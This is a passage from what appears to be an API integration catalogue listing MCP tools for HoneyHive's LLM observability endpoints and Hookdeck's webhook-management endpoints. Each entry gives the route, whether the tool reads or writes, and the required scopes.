instead. [Data Plane, project API key] via GET /v1/runs/{run_id}/result GET /api/v1/honeyhive/v1/runs/{run_id}/result. Scopes: data_plane_read. honeyhive_get_v1_runs_by_run_id_schema (read) — Retrieve the events schema (fields, datasets, mappings) for a single experiment run. [Data Plane, project API key] via GET /v1/runs/{run_id}/schema GET /api/v1/honeyhive/v1/runs/{run_id}/schema. Scopes: data_plane_read. honeyhive_get_v1_runs_by_run_id_summary (read) — Compute evaluation summary for an experiment run: pass/fail results, metric aggregations, per-datapoint results, event details, and the experiment run object. [Data Plane, project API key] via GET /v1/runs/{run_id}/summary GET /api/v1/honeyhive/v1/runs/{run_id}/summary. Scopes: data_plane_read. honeyhive_get_v1_runs_compare_events (read) — Deprecated. Use `GET /v1/runs/{new_run_id}/compare/{old_run_id}/events` instead. [Data Plane, project API key] via GET /v1/runs/compare/events GET /api/v1/honeyhive/v1/runs/compare/events. Scopes: data_plane_read. honeyhive_get_v1_runs_schema (read) — Retrieve the aggregated events schema (fields, datasets, mappings) across all experiment runs in the project. [Data Plane, project API key] via GET /v1/runs/schema GET /api/v1/honeyhive/v1/runs/schema. Scopes: data_plane_read. honeyhive_post_events (write) — Deprecated. Use `POST /v1/events` instead. The legacy route wraps the event object under an `event` key; the v1 route accepts a bare event object. [Data Plane, project API key] via POST /events POST /api/v1/honeyhive/events. Scopes: data_plane_write. honeyhive_post_events_batch (write) — Deprecated. Use `POST /v1/events/batch` instead. The legacy route accepts the deprecated `is_single_session` and `session` aliases and lets per-event objects carry the deprecated `project` field; the v1 route rejects all three at the SDK boundary. [Data Plane, project API key] via POST /events/batch POST /api/v1/honeyhive/events/batch. Scopes: data_plane_write. honeyhive_post_events_model (write) — Deprecated. Use `POST /v1/events` with `event_type="model"` instead. The `ModelEvent` schema carries 14 field-level deprecations covering the model-specific fields the generic event route now expresses (`model`, `messages`, `response`, `provider`, `usage`, `cost`, `hyperparameters`, `template`, `template_inputs`, `tools`, `tool_choice`, `response_format`, `duration`, `error`), plus `project` inherited from `LegacyEvent`. The legacy route continues to serve traffic and remaps these fields into `inputs.*` / `outputs.*` before storage. [Data Plane, project API key] via POST /events/model POST /api/v1/honeyhive/events/model. Scopes: data_plane_write. honeyhive_post_events_model_batch (write) — Deprecated. Use `POST /v1/events/batch` with `event_type="model"` on each event instead. Migration notes: the top-level array `model_events` becomes `events`; each element must explicitly set `event_type: "model"` (the legacy route sets this server-side); the deprecated top-level aliases `is_single_session` and `session` are not accepted by the v1 route (`PostEventBatchRequest` is `.strict()`); use `single_session` and `session_properties` instead. The legacy route continues to serve traffic and remaps the model-specific fields on each event (`model`, `messages`, `response`, `provider`, `usage`, `cost`, `hyperparameters`, `template`, `template_inputs`, `tools`, `tool_choice`, `response_format`, `duration`, `error`) into `inputs.*` / `outputs.*` before storage. [Data Plane, project API key] via POST /events/model/batch POST /api/v1/honeyhive/events/model/batch. Scopes: data_plane_write. honeyhive_post_session_by_session_id_traces (write) — Deprecated. Use `POST /v1/sessions/{session_id}/events/batch` instead. This route accepts trace events under either `logs` (deprecated) or `events`. Exactly one of the two MUST be present in a request: neither → 400, both → 400. [Data Plane, project API key] via POST /session/{session_id}/traces POST /api/v1/honeyhive/session/{session_id}/traces. Scopes: data_plane_write. honeyhive_post_session_start (write) — Deprecated. Use `POST /v1/sessions` instead. The legacy route wraps the session object under a `session` key; the v1 route accepts a bare session object. [Data Plane, project API key] via POST /session/start POST /api/v1/honeyhive/session/start. Scopes: data_plane_write. honeyhive_post_v1_charts (write) — Create a new chart [Data Plane, project API key] via POST /v1/charts POST /api/v1/honeyhive/v1/charts. Scopes: data_plane_write. honeyhive_post_v1_configurations (write) — Create a new LLM or pipeline configuration with provider, parameters, and environment settings. [Data Plane, project API key] via POST /v1/configurations POST /api/v1/honeyhive/v1/configurations. Scopes: data_plane_write. honeyhive_post_v1_datapoints (write) — Create a single datapoint with inputs, history, ground truth, and metadata. [Data Plane, project API key] via POST /v1/datapoints POST /api/v1/honeyhive/v1/datapoints. Scopes: data_plane_write. honeyhive_post_v1_datapoints_batch (write) — Create multiple datapoints from events using field mappings and optional filters. [Data Plane, project API key] via POST /v1/datapoints/batch POST /api/v1/honeyhive/v1/datapoints/batch. Scopes: data_plane_write. honeyhive_post_v1_datasets (write) — Create a new dataset with an optional name, description, and initial set of datapoint IDs. [Data Plane, project API key] via POST /v1/datasets POST /api/v1/honeyhive/v1/datasets. Scopes: data_plane_write. honeyhive_post_v1_datasets_by_dataset_id_datapoints (write) — Add new datapoints to an existing dataset. Provide raw data objects and a field mapping that specifies which fields map to inputs, ground truth, and history. [Data Plane, project API key] via POST /v1/datasets/{dataset_id}/datapoints POST /api/v1/honeyhive/v1/datasets/{dataset_id}/datapoints. Scopes: data_plane_write. honeyhive_post_v1_events (write) — Create a new event (span) within a session trace. The request body is a bare event object (no `event` wrapper). **Required properties:** - `event_type` (string): Must be one of: `chain`, `model`, `tool`, `session`. - `inputs` (object): Input data for the event. **Auto-generated properties** (provided by the server when omitted): - `event_id` (string, UUID): Unique identifier for the event. - `session_id` (string, UUID): Session/trace identifier. - `parent_id` (string, UUID): Parent event ID. Defaults to `session_id`. **Optional properties with defaults:** - `event_name` (string): Name of the event. Defaults to `"unknown"`. - `source` (string): Source of the event (e.g. `sdk-python`). Defaults to `"unknown"`. **Optional properties:** - `config` (object): Configuration data (e.g. model parameters, prompt templates). - `outputs` (object): Output data from the event. - `error` (string or null): Error message if the event failed. - `children_ids` (array of strings): IDs of child events. - `duration` (number): Duration of the event in milliseconds. - `start_time` (number): Unix timestamp in milliseconds for event start. - `end_time` (number): Unix timestamp in milliseconds for event end. - `metadata` (object): Additional metadata (e.g. token counts, cost). - `metrics` (object): Custom metrics. - `feedback` (object): Feedback data (e.g. ratings, ground truth). - `user_properties` (object): User properties associated with the event. [Data Plane, project API key] via POST /v1/events POST /api/v1/honeyhive/v1/events. Scopes: data_plane_write. honeyhive_post_v1_events_batch (write) — Create multiple events in a single request. When `single_session` is true, all events share the same session created from `session_properties`. **Required properties:** - `events` (array of event objects): Each event must include `event_type` (one of `chain`, `model`, `tool`, `session`) and `inputs`. **Optional properties:** - `single_session` (boolean): If true, all events share a single session created from `session_properties`. Defaults to false. - `session_properties` (object): Session metadata used when `single_session` is true. May include `session_name`, `start_time`, `metadata`. Unknown top-level fields and per-event fields are rejected at the SDK boundary; the legacy aliases `is_single_session`, `session`, and per-event `project` are no longer accepted. [Data Plane, project API key] via POST /v1/events/batch POST /api/v1/honeyhive/v1/events/batch. Scopes: data_plane_write. honeyhive_post_v1_events_export (read) — Deprecated. Use `POST /v1/events/search` instead. [Data Plane, project API key] via POST /v1/events/export POST /api/v1/honeyhive/v1/events/export. Scopes: data_plane_read. honeyhive_post_v1_events_search (read) — Search events via POST with filtering and pagination. This is the primary method for retrieving events from HoneyHive. [Data Plane, project API key] via POST /v1/events/search POST /api/v1/honeyhive/v1/events/search. Scopes: data_plane_read. honeyhive_post_v1_metrics (write) — Create a new metric [Data Plane, project API key] via POST /v1/metrics POST /api/v1/honeyhive/v1/metrics. Scopes: data_plane_write. honeyhive_post_v1_metrics_by_metric_id_versions (write) — Snapshot the supplied metric definition as a new version. By default the version is created as a draft (`deployed: false`); set `deploy_immediately: true` to also make it the live version in the same transaction. [Data Plane, project API key] via POST /v1/metrics/{metric_id}/versions POST /api/v1/honeyhive/v1/metrics/{metric_id}/versions. Scopes: data_plane_write. honeyhive_post_v1_metrics_by_metric_id_versions_by_version_name_deploy (write) — Mark the named version as the live version for the metric, unmarking any previously deployed version. [Data Plane, project API key] via POST /v1/metrics/{metric_id}/versions/{version_name}/deploy POST /api/v1/honeyhive/v1/metrics/{metric_id}/versions/{version_name}/deploy. Scopes: data_plane_write. honeyhive_post_v1_metrics_run (write) — Execute a metric on a specific event [Data Plane, project API key] via POST /v1/metrics/run POST /api/v1/honeyhive/v1/metrics/run. Scopes: data_plane_write. honeyhive_post_v1_metrics_run_metric (write) — Deprecated. Use `POST /v1/metrics/run` instead. [Data Plane, project API key] via POST /v1/metrics/run_metric POST /api/v1/honeyhive/v1/metrics/run_metric. Scopes: data_plane_write. honeyhive_post_v1_queues (write) — Create a new annotation queue with a name, optional description, filters, and an initial set of event IDs to add. [Data Plane, project API key] via POST /v1/queues POST /api/v1/honeyhive/v1/queues. Scopes: data_plane_write. honeyhive_post_v1_runs (write) — Create a new experiment run to track an evaluation against a dataset. [Data Plane, project API key] via POST /v1/runs POST /api/v1/honeyhive/v1/runs. Scopes: data_plane_write. honeyhive_post_v1_sessions (write) — Start a new session. The request body is a bare session object (no `session` wrapper). The server creates a session event and returns it. **No required properties.** Every field has a server-side fallback. **Auto-generated properties** (provided by the server when omitted): - `session_id` (string, UUID): Server generates a UUIDv4 if omitted or if the supplied value is not a valid UUID. **Optional properties with defaults:** - `event_name` (string): Falls back to `session_name` when not provided; defaults to `"unknown"` if both are absent. - `source` (string): Defaults to `"unknown"`. **Optional properties:** - `session_name` (string): Display name for the session. - `start_time` (number): Session start time as Unix milliseconds. The session normalizer uses `getInt64()` which only accepts numeric types; if a string is passed, the server silently falls back to the current time. - `end_time` (number): Session end time as Unix milliseconds (same numeric-only caveat as `start_time`). - `duration` (number): Session duration in milliseconds. - `config` (object): Configuration associated with the session. - `inputs` (object): Input data for the session. - `outputs` (object): Output data from the session. - `metadata` (object): Arbitrary metadata. - `user_properties` (object): User properties. - `children_ids` (array of strings): IDs of child events. Idempotent on `session_id`: posting twice with the same `session_id` merges metadata/user_properties into the existing session and returns the existing event. [Data Plane, project API key] via POST /v1/sessions POST /api/v1/honeyhive/v1/sessions. Scopes: data_plane_write. honeyhive_post_v1_sessions_by_session_id_events_batch (write) — Add a batch of events to an existing session. Each event in the batch is stored with `session_id` set from the URL path, overriding any `session_id` in the event body. Each event must include `event_type` (one of `chain`, `model`, `tool`, `session`) and `inputs`. Unknown top-level fields and unknown per-event fields are rejected. Events are processed sequentially. For higher-throughput ingestion across sessions, use `POST /v1/events/batch` instead. [Data Plane, project API key] via POST /v1/sessions/{session_id}/events/batch POST /api/v1/honeyhive/v1/sessions/{session_id}/events/batch. Scopes: data_plane_write. honeyhive_put_events (write) — Deprecated. Use `PUT /v1/events/{event_id}` instead. [Data Plane, project API key] via PUT /events PUT /api/v1/honeyhive/events. Scopes: data_plane_write. honeyhive_put_v1_charts_by_chart_id (write) — Update a chart's editable fields. Only fields included in the request body are modified. [Data Plane, project API key] via PUT /v1/charts/{chart_id} PUT /api/v1/honeyhive/v1/charts/{chart_id}. Scopes: data_plane_write. honeyhive_put_v1_configurations_by_configid (write) — Update an existing configuration's name, provider, parameters, environment, or tags. [Data Plane, project API key] via PUT /v1/configurations/{configId} PUT /api/v1/honeyhive/v1/configurations/{configId}. Scopes: data_plane_write. honeyhive_put_v1_datapoints_by_datapoint_id (write) — Update fields on an existing datapoint. Only the provided fields are modified. [Data Plane, project API key] via PUT /v1/datapoints/{datapoint_id} PUT /api/v1/honeyhive/v1/datapoints/{datapoint_id}. Scopes: data_plane_write. honeyhive_put_v1_datasets (write) — Deprecated. Use `PUT /v1/datasets/{dataset_id}` instead. [Data Plane, project API key] via PUT /v1/datasets PUT /api/v1/honeyhive/v1/datasets. Scopes: data_plane_write. honeyhive_put_v1_datasets_by_dataset_id (write) — Update a dataset's name, description, or list of datapoint IDs. [Data Plane, project API key] via PUT /v1/datasets/{dataset_id} PUT /api/v1/honeyhive/v1/datasets/{dataset_id}. Scopes: data_plane_write. honeyhive_put_v1_events_by_event_id (write) — Update fields on an existing event. Only the provided fields are modified; omitted fields are left unchanged. Extra fields not listed below are accepted by the server but silently ignored. [Data Plane, project API key] via PUT /v1/events/{event_id} PUT /api/v1/honeyhive/v1/events/{event_id}. Scopes: data_plane_write. honeyhive_put_v1_metrics (write) — Deprecated. Use `PUT /v1/metrics/{metric_id}` instead. [Data Plane, project API key] via PUT /v1/metrics PUT /api/v1/honeyhive/v1/metrics. Scopes: data_plane_write. honeyhive_put_v1_metrics_by_metric_id (write) — Update a metric's editable fields. Only fields included in the request body are modified. [Data Plane, project API key] via PUT /v1/metrics/{metric_id} PUT /api/v1/honeyhive/v1/metrics/{metric_id}. Scopes: data_plane_write. honeyhive_put_v1_queues_by_queue_id (write) — Update fields on an existing annotation queue. Supports updating name, description, filters, enabled status, and adding/removing events. [Data Plane, project API key] via PUT /v1/queues/{queue_id} PUT /api/v1/honeyhive/v1/queues/{queue_id}. Scopes: data_plane_write. honeyhive_put_v1_runs_by_run_id (write) — Update fields on an existing experiment run such as name, status, metadata, or results. [Data Plane, project API key] via PUT /v1/runs/{run_id} PUT /api/v1/honeyhive/v1/runs/{run_id}. Scopes: data_plane_write. ================================================================================ ## Hookdeck URL: https://www.agenticfabriq.com/integrations/hookdeck Section: Integrated Tools Hookdeck — 123 MCP tools Provider key: hookdeck. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. hookdeck_delete_bookmarks_by_id (write, destructive) — Delete a bookmark via DELETE /bookmarks/{id} DELETE /api/v1/hookdeck/bookmarks/{id}. Scopes: api. hookdeck_delete_connections_by_id (write, destructive) — Delete a connection via DELETE /connections/{id} DELETE /api/v1/hookdeck/connections/{id}. Scopes: api. hookdeck_delete_destinations_by_id (write, destructive) — Delete a destination via DELETE /destinations/{id} DELETE /api/v1/hookdeck/destinations/{id}. Scopes: api. hookdeck_delete_integrations_by_id (write, destructive) — Delete an integration via DELETE /integrations/{id} DELETE /api/v1/hookdeck/integrations/{id}. Scopes: api. hookdeck_delete_issue_triggers_by_id (write, destructive) — Delete an issue trigger via DELETE /issue-triggers/{id} DELETE /api/v1/hookdeck/issue-triggers/{id}. Scopes: api. hookdeck_delete_issues_by_id (write, destructive) — Dismiss an issue via DELETE /issues/{id} DELETE /api/v1/hookdeck/issues/{id}. Scopes: api. hookdeck_delete_sources_by_id (write, destructive) — Delete a source via DELETE /sources/{id} DELETE /api/v1/hookdeck/sources/{id}. Scopes: api. hookdeck_delete_teams_current_custom_domains_by_domain_id (write, destructive) — Removes a custom domain from the project via DELETE /teams/current/custom_domains/{domain_id} DELETE /api/v1/hookdeck/teams/current/custom_domains/{domain_id}. Scopes: api. hookdeck_delete_transformations_by_id (write, destructive) — Delete a transformation via DELETE /transformations/{id} DELETE /api/v1/hookdeck/transformations/{id}. Scopes: api. hookdeck_get_attempts (read) — Retrieve attempts via GET /attempts GET /api/v1/hookdeck/attempts. Scopes: api. hookdeck_get_attempts_by_id (read) — Retrieve an attempt via GET /attempts/{id} GET /api/v1/hookdeck/attempts/{id}. Scopes: api. hookdeck_get_bookmarks (read) — Retrieve bookmarks via GET /bookmarks GET /api/v1/hookdeck/bookmarks. Scopes: api. hookdeck_get_bookmarks_by_id (read) — Retrieve a bookmark via GET /bookmarks/{id} GET /api/v1/hookdeck/bookmarks/{id}. Scopes: api. hookdeck_get_bookmarks_by_id_raw_body (read) — Get a bookmark raw body data via GET /bookmarks/{id}/raw_body GET /api/v1/hookdeck/bookmarks/{id}/raw_body. Scopes: api. hookdeck_get_bulk_events_cancel (read) — Retrieve events bulk cancels via GET /bulk/events/cancel GET /api/v1/hookdeck/bulk/events/cancel. Scopes: api. hookdeck_get_bulk_events_cancel_by_id (read) — Retrieve events bulk cancel via GET /bulk/events/cancel/{id} GET /api/v1/hookdeck/bulk/events/cancel/{id}. Scopes: api. hookdeck_get_bulk_events_cancel_plan (read) — Generate events bulk cancel plan via GET /bulk/events/cancel/plan GET /api/v1/hookdeck/bulk/events/cancel/plan. Scopes: api. hookdeck_get_bulk_events_retry (read) — Retrieve events bulk retries via GET /bulk/events/retry GET /api/v1/hookdeck/bulk/events/retry. Scopes: api. hookdeck_get_bulk_events_retry_by_id (read) — Retrieve events bulk retry via GET /bulk/events/retry/{id} GET /api/v1/hookdeck/bulk/events/retry/{id}. Scopes: api. hookdeck_get_bulk_events_retry_plan (read) — Generate events bulk retry plan via GET /bulk/events/retry/plan GET /api/v1/hookdeck/bulk/events/retry/plan. Scopes: api. hookdeck_get_bulk_ignored_events_retry (read) — Retrieve ignored events bulk retries via GET /bulk/ignored-events/retry GET /api/v1/hookdeck/bulk/ignored-events/retry. Scopes: api. hookdeck_get_bulk_ignored_events_retry_by_id (read) — Retrieve ignored events bulk retry via GET /bulk/ignored-events/retry/{id} GET /api/v1/hookdeck/bulk/ignored-events/retry/{id}. Scopes: api. hookdeck_get_bulk_ignored_events_retry_plan (read) — Generate ignored events bulk retry plan via GET /bulk/ignored-events/retry/plan GET /api/v1/hookdeck/bulk/ignored-events/retry/plan. Scopes: api. hookdeck_get_bulk_requests_replay (read) — Retrieve requests bulk replays via GET /bulk/requests/replay GET /api/v1/hookdeck/bulk/requests/replay. Scopes: api. hookdeck_get_bulk_requests_replay_by_id (read) — Retrieve requests bulk replay via GET /bulk/requests/replay/{id} GET /api/v1/hookdeck/bulk/requests/replay/{id}. Scopes: api. hookdeck_get_bulk_requests_replay_plan (read) — Generate requests bulk replay plan via GET /bulk/requests/replay/plan GET /api/v1/hookdeck/bulk/requests/replay/plan. Scopes: api. hookdeck_get_bulk_requests_retry (read) — Retrieve requests bulk retries via GET /bulk/requests/retry GET /api/v1/hookdeck/bulk/requests/retry. Scopes: api. hookdeck_get_bulk_requests_retry_by_id (read) — Retrieve requests bulk retry via GET /bulk/requests/retry/{id} GET /api/v1/hookdeck/bulk/requests/retry/{id}. Scopes: api. hookdeck_get_bulk_requests_retry_plan (read) — Generate requests bulk retry plan via GET /bulk/requests/retry/plan GET /api/v1/hookdeck/bulk/requests/retry/plan. Scopes: api. hookdeck_get_connections (read) — Retrieve connections via GET /connections GET /api/v1/hookdeck/connections. Scopes: api. hookdeck_get_connections_by_id (read) — Retrieve a connection via GET /connections/{id} GET /api/v1/hookdeck/connections/{id}. Scopes: api. hookdeck_get_connections_count (read) — Count connections via GET /connections/count GET /api/v1/hookdeck/connections/count. Scopes: api. hookdeck_get_destinations (read) — Retrieve destinations via GET /destinations GET /api/v1/hookdeck/destinations. Scopes: api. hookdeck_get_destinations_by_id (read) — Retrieve a destination via GET /destinations/{id} GET /api/v1/hookdeck/destinations/{id}. Scopes: api. hookdeck_get_destinations_count (read) — Count destinations via GET /destinations/count GET /api/v1/hookdeck/destinations/count. Scopes: api. hookdeck_get_events (read) — Retrieve events via GET /events GET /api/v1/hookdeck/events. Scopes: api. hookdeck_get_events_by_id (read) — Retrieve an event via GET /events/{id} GET /api/v1/hookdeck/events/{id}. Scopes: api. hookdeck_get_events_by_id_raw_body (read) — Get a event raw body data via GET /events/{id}/raw_body GET /api/v1/hookdeck/events/{id}/raw_body. Scopes: api. hookdeck_get_integrations (read) — Get integrations via GET /integrations GET /api/v1/hookdeck/integrations. Scopes: api. hookdeck_get_integrations_by_id (read) — Get an integration via GET /integrations/{id} GET /api/v1/hookdeck/integrations/{id}. Scopes: api. hookdeck_get_issue_triggers (read) — Retrieve issue triggers via GET /issue-triggers GET /api/v1/hookdeck/issue-triggers. Scopes: api. hookdeck_get_issue_triggers_by_id (read) — Retrieve an issue trigger via GET /issue-triggers/{id} GET /api/v1/hookdeck/issue-triggers/{id}. Scopes: api. hookdeck_get_issues (read) — Retrieve issues via GET /issues GET /api/v1/hookdeck/issues. Scopes: api. hookdeck_get_issues_by_id (read) — Retrieve an issue via GET /issues/{id} GET /api/v1/hookdeck/issues/{id}. Scopes: api. hookdeck_get_issues_count (read) — Get the number of issues via GET /issues/count GET /api/v1/hookdeck/issues/count. Scopes: api. hookdeck_get_metrics_attempts (read) — Query attempt metrics via GET /metrics/attempts GET /api/v1/hookdeck/metrics/attempts. Scopes: api. hookdeck_get_metrics_events (read) — Query event metrics via GET /metrics/events GET /api/v1/hookdeck/metrics/events. Scopes: api. hookdeck_get_metrics_events_by_issue (read) — Query event metrics grouped by individual issue via GET /metrics/events-by-issue GET /api/v1/hookdeck/metrics/events-by-issue. Scopes: api. hookdeck_get_metrics_events_pending_timeseries (read) — Query events pending timeseries metrics via GET /metrics/events-pending-timeseries GET /api/v1/hookdeck/metrics/events-pending-timeseries. Scopes: api. hookdeck_get_metrics_queue_depth (read) — Query queue depth metrics via GET /metrics/queue-depth GET /api/v1/hookdeck/metrics/queue-depth. Scopes: api. hookdeck_get_metrics_requests (read) — Query request metrics via GET /metrics/requests GET /api/v1/hookdeck/metrics/requests. Scopes: api. hookdeck_get_metrics_transformations (read) — Query transformation execution metrics via GET /metrics/transformations GET /api/v1/hookdeck/metrics/transformations. Scopes: api. hookdeck_get_requests (read) — Retrieve requests via GET /requests GET /api/v1/hookdeck/requests. Scopes: api. hookdeck_get_requests_by_id (read) — Retrieve a request via GET /requests/{id} GET /api/v1/hookdeck/requests/{id}. Scopes: api. hookdeck_get_requests_by_id_events (read) — Retrieve request events via GET /requests/{id}/events GET /api/v1/hookdeck/requests/{request_id}/events. Scopes: api. hookdeck_get_requests_by_id_ignored_events (read) — Retrieve request ignored events via GET /requests/{id}/ignored_events GET /api/v1/hookdeck/requests/{request_id}/ignored_events. Scopes: api. hookdeck_get_requests_by_id_raw_body (read) — Get a request raw body data via GET /requests/{id}/raw_body GET /api/v1/hookdeck/requests/{id}/raw_body. Scopes: api. hookdeck_get_sources (read) — Retrieve sources via GET /sources GET /api/v1/hookdeck/sources. Scopes: api. hookdeck_get_sources_by_id (read) — Retrieve a source via GET /sources/{id} GET /api/v1/hookdeck/sources/{id}. Scopes: api. hookdeck_get_sources_count (read) — Count sources via GET /sources/count GET /api/v1/hookdeck/sources/count. Scopes: api. hookdeck_get_teams_current_custom_domains (read) — List all custom domains and their verification statuses for the project via GET /teams/current/custom_domains GET /api/v1/hookdeck/teams/current/custom_domains. Scopes: api. hookdeck_get_transformations (read) — Retrieve transformations via GET /transformations GET /api/v1/hookdeck/transformations. Scopes: api. hookdeck_get_transformations_by_id (read) — Retrieve a transformation via GET /transformations/{id} GET /api/v1/hookdeck/transformations/{id}. Scopes: api. hookdeck_get_transformations_by_id_executions (read) — Get transformation executions via GET /transformations/{id}/executions GET /api/v1/hookdeck/transformations/{id}/executions. Scopes: api. hookdeck_get_transformations_by_id_executions_by_execution_id (read) — Get a transformation execution via GET /transformations/{id}/executions/{execution_id} GET /api/v1/hookdeck/transformations/{id}/executions/{execution_id}. Scopes: api. hookdeck_get_transformations_count (read) — Get transformations count via GET /transformations/count GET /api/v1/hookdeck/transformations/count. Scopes: api. hookdeck_post_bookmarks (write) — Create a bookmark via POST /bookmarks POST /api/v1/hookdeck/bookmarks. Scopes: api. hookdeck_post_bookmarks_by_id_trigger (write) — Trigger a bookmark via POST /bookmarks/{id}/trigger POST /api/v1/hookdeck/bookmarks/{id}/trigger. Scopes: api. hookdeck_post_bulk_events_cancel (write) — Create events bulk cancel via POST /bulk/events/cancel POST /api/v1/hookdeck/bulk/events/cancel. Scopes: api. hookdeck_post_bulk_events_retry (write) — Create events bulk retry via POST /bulk/events/retry POST /api/v1/hookdeck/bulk/events/retry. Scopes: api. hookdeck_post_bulk_events_retry_by_id_cancel (write) — Cancel events bulk retry via POST /bulk/events/retry/{id}/cancel POST /api/v1/hookdeck/bulk/events/retry/{id}/cancel. Scopes: api. hookdeck_post_bulk_ignored_events_retry (write) — Create ignored events bulk retry via POST /bulk/ignored-events/retry POST /api/v1/hookdeck/bulk/ignored-events/retry. Scopes: api. hookdeck_post_bulk_ignored_events_retry_by_id_cancel (write) — Cancel ignored events bulk retry via POST /bulk/ignored-events/retry/{id}/cancel POST /api/v1/hookdeck/bulk/ignored-events/retry/{id}/cancel. Scopes: api. hookdeck_post_bulk_requests_replay (write) — Create requests bulk replay via POST /bulk/requests/replay POST /api/v1/hookdeck/bulk/requests/replay. Scopes: api. hookdeck_post_bulk_requests_replay_by_id_cancel (write) — Cancel requests bulk replay via POST /bulk/requests/replay/{id}/cancel POST /api/v1/hookdeck/bulk/requests/replay/{id}/cancel. Scopes: api. hookdeck_post_bulk_requests_retry (write) — Create requests bulk retry via POST /bulk/requests/retry POST /api/v1/hookdeck/bulk/requests/retry. Scopes: api. hookdeck_post_bulk_requests_retry_by_id_cancel (write) — Cancel requests bulk retry via POST /bulk/requests/retry/{id}/cancel POST /api/v1/hookdeck/bulk/requests/retry/{id}/cancel. Scopes: api. hookdeck_post_connections (write) — Create a connection via POST /connections POST /api/v1/hookdeck/connections. Scopes: api. hookdeck_post_destinations (write) — Create a destination via POST /destinations POST /api/v1/hookdeck/destinations. Scopes: api. hookdeck_post_events_by_id_replay (write) — Replay an event via POST /events/{id}/replay POST /api/v1/hookdeck/events/{id}/replay. Scopes: api. hookdeck_post_events_by_id_retry (write) — Retry an event via POST /events/{id}/retry POST /api/v1/hookdeck/events/{id}/retry. Scopes: api. hookdeck_post_integrations (write) — Create an integration via POST /integrations POST /api/v1/hookdeck/integrations. Scopes: api. hookdeck_post_issue_triggers (write) — Create an issue trigger via POST /issue-triggers POST /api/v1/hookdeck/issue-triggers. Scopes: api. hookdeck_post_requests_by_id_replay (write) — Replay a request via POST /requests/{id}/replay POST /api/v1/hookdeck/requests/{id}/replay. Scopes: api. hookdeck_post_requests_by_id_retry (write) — Retry a request via POST /requests/{id}/retry POST /api/v1/hookdeck/requests/{id}/retry. Scopes: api. hookdeck_post_sources (write) — Create a source via POST /sources POST /api/v1/hookdeck/sources. Scopes: api. hookdeck_post_teams_current_custom_domains (write) — Add a custom domain to the project via POST /teams/current/custom_domains POST /api/v1/hookdeck/teams/current/custom_domains. Scopes: api. hookdeck_post_transformations (write) — Create a transformation via POST /transformations POST /api/v1/hookdeck/transformations. Scopes: api. hookdeck_put_bookmarks_by_id (write) — Update a bookmark via PUT /bookmarks/{id} PUT /api/v1/hookdeck/bookmarks/{id}. Scopes: api. hookdeck_put_connections (write) — Create/Update a connection via PUT /connections PUT /api/v1/hookdeck/connections. Scopes: api. hookdeck_put_connections_by_id (write) — Update a connection via PUT /connections/{id} PUT /api/v1/hookdeck/connections/{id}. Scopes: api. hookdeck_put_connections_by_id_archive (write) — Disable a connection (archive) via PUT /connections/{id}/archive PUT /api/v1/hookdeck/connections/{id}/archive. Scopes: api. hookdeck_put_connections_by_id_disable (write) — Disable a connection (disable) via PUT /connections/{id}/disable PUT /api/v1/hookdeck/connections/{id}/disable. Scopes: api. hookdeck_put_connections_by_id_enable (write) — Enable a connection (enable) via PUT /connections/{id}/enable PUT /api/v1/hookdeck/connections/{id}/enable. Scopes: api. hookdeck_put_connections_by_id_pause (write) — Pause a connection via PUT /connections/{id}/pause PUT /api/v1/hookdeck/connections/{id}/pause. Scopes: api. hookdeck_put_connections_by_id_unarchive (write) — Enable a connection (unarchive) via PUT /connections/{id}/unarchive PUT /api/v1/hookdeck/connections/{id}/unarchive. Scopes: api. hookdeck_put_connections_by_id_unpause (write) — Unpause a connection via PUT /connections/{id}/unpause PUT /api/v1/hookdeck/connections/{id}/unpause. Scopes: api. hookdeck_put_destinations (write) — Create/Update a destination via PUT /destinations PUT /api/v1/hookdeck/destinations. Scopes: api. hookdeck_put_destinations_by_id (write) — Update a destination via PUT /destinations/{id} PUT /api/v1/hookdeck/destinations/{id}. Scopes: api. hookdeck_put_destinations_by_id_archive (write) — Disable a destination (archive) via PUT /destinations/{id}/archive PUT /api/v1/hookdeck/destinations/{id}/archive. Scopes: api. hookdeck_put_destinations_by_id_disable (write) — Disable a destination (disable) via PUT /destinations/{id}/disable PUT /api/v1/hookdeck/destinations/{id}/disable. Scopes: api. hookdeck_put_destinations_by_id_enable (write) — Enable a destination (enable) via PUT /destinations/{id}/enable PUT /api/v1/hookdeck/destinations/{id}/enable. Scopes: api. hookdeck_put_destinations_by_id_unarchive (write) — Enable a destination (unarchive) via PUT /destinations/{id}/unarchive PUT /api/v1/hookdeck/destinations/{id}/unarchive. Scopes: api. hookdeck_put_events_by_id_cancel (write) — Cancel an event (cancel) via PUT /events/{id}/cancel PUT /api/v1/hookdeck/events/{id}/cancel. Scopes: api. hookdeck_put_events_by_id_mute (write) — Cancel an event (mute) via PUT /events/{id}/mute PUT /api/v1/hookdeck/events/{id}/mute. Scopes: api. hookdeck_put_integrations_by_id (write) — Update an integration via PUT /integrations/{id} PUT /api/v1/hookdeck/integrations/{id}. Scopes: api. hookdeck_put_integrations_by_id_attach_by_source_id (write) — Attach an integration to a source via PUT /integrations/{id}/attach/{source_id} PUT /api/v1/hookdeck/integrations/{id}/attach/{source_id}. Scopes: api. hookdeck_put_integrations_by_id_detach_by_source_id (write) — Detach an integration from a source via PUT /integrations/{id}/detach/{source_id} PUT /api/v1/hookdeck/integrations/{id}/detach/{source_id}. Scopes: api. hookdeck_put_issue_triggers (write) — Create/Update an issue trigger via PUT /issue-triggers PUT /api/v1/hookdeck/issue-triggers. Scopes: api. hookdeck_put_issue_triggers_by_id (write) — Update an issue trigger via PUT /issue-triggers/{id} PUT /api/v1/hookdeck/issue-triggers/{id}. Scopes: api. hookdeck_put_issue_triggers_by_id_disable (write) — Disable an issue trigger via PUT /issue-triggers/{id}/disable PUT /api/v1/hookdeck/issue-triggers/{id}/disable. Scopes: api. hookdeck_put_issue_triggers_by_id_enable (write) — Enable an issue trigger via PUT /issue-triggers/{id}/enable PUT /api/v1/hookdeck/issue-triggers/{id}/enable. Scopes: api. hookdeck_put_issues_by_id (write) — Update an issue via PUT /issues/{id} PUT /api/v1/hookdeck/issues/{id}. Scopes: api. 